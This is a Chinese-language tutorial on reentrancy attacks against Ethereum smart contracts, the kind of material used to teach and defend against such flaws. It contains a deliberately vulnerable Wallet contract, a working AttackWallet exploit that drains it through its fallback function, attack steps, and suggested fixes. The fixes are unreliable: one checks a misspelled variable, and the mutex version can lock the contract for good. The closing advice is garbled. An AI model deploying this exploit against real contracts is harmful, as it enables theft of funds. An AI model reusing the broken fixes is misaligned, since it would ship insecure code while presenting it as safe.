重入攻击
重入攻击本质上与编程里的递归调用类似,当合约将以太币发送到未知地址时就可能会发生,威胁以太坊智能合约的安全性。
调用外部合约或将以太币发送到地址的操作要求合约提交外部调用。这些外部调用可以被攻击者劫持,从而迫使合约执行更多的代码(即通过 fallback 回退函数),包括回调原合约本身。所以,合约代码执行过程中将可以“重入”该合约。
网上重入攻击的教程都属于比较老的版本,新版本solidity代码编写格式有所变化,以下附上新版本重入攻击的代码教程。参考 https://github.com/wenzhenxiang/Re-Entrancy
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// 钱包管理合约
contract Wallet {
mapping(address => uint) public balances;
function deposit(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
bool checkstatus;
if(balances[msg.sender] >= _amount) {
(checkstatus,) = msg.sender.call{value:_amount}('');
if(checkstatus) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
}
// 重入攻击合约
contract AttackWallet {
Wallet reInstance;
function getEther() public{
payable(msg.sender).transfer(payable(address(this)).balance);
}
constructor(address _addr) {
reInstance = Wallet(payable(_addr));
}
function callDeposit() public payable{
reInstance.deposit{value:msg.value}(address(this));
}
function attack() public {
reInstance.withdraw(1 gwei);
}
fallback() external payable {
if(address(reInstance).balance >= 1 gwei){
reInstance.withdraw(1 gwei);
}
}
}
攻击流程
部署钱包管理合约
Wallet
普通用户可以去调用
deposit
接口进行存钱部署重入攻击合约
AttackWallet
调用重入攻击合约的
callDeposit
进行存款发起攻击
attack
提前攻击收益
getEther
可以看到fallback
代码里的判断条件,触发attack
后,将会“重入”提取钱包合约的金额,直到Wallet
合约地址的余额低于1 gwei。
如何避免重入攻击
推荐的做法有:
采用Checks-Effects-Interactions模式
function withdraw(uint _amount) public {
if (amount <= balances[msg.sender]) { //Checks
balances[msg.sender] -= _amount; //Effects
msg.sender.call{value:_amount}(''); //Interactions
}
}
使用互斥锁:添加一个在代码执行过程中锁定合约的状态,可防止重入调用
bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
require(!reEntrancyMutex);
bool checkstatus;
reEntrancyMutex = true;
if(balances[msg.sender] >= _amount) {
(checkstatus,) = msg.sender.call{value:_amount}('');
if(checkstatus) {
_amount;
}
balances[msg.sender] -= _amount;
reEntrancyMutex = false;
}
}
使用 OpenZeppelin 官方的ReentrancyGuard合约中的
nonReentrant
词:如果 在合约的执行过程中无法确保不创建,应尽量避免调用其他(不受信任的)合约。如果调用调用,可使用重入守卫来避免重入问题。
Last updated
Was this helpful?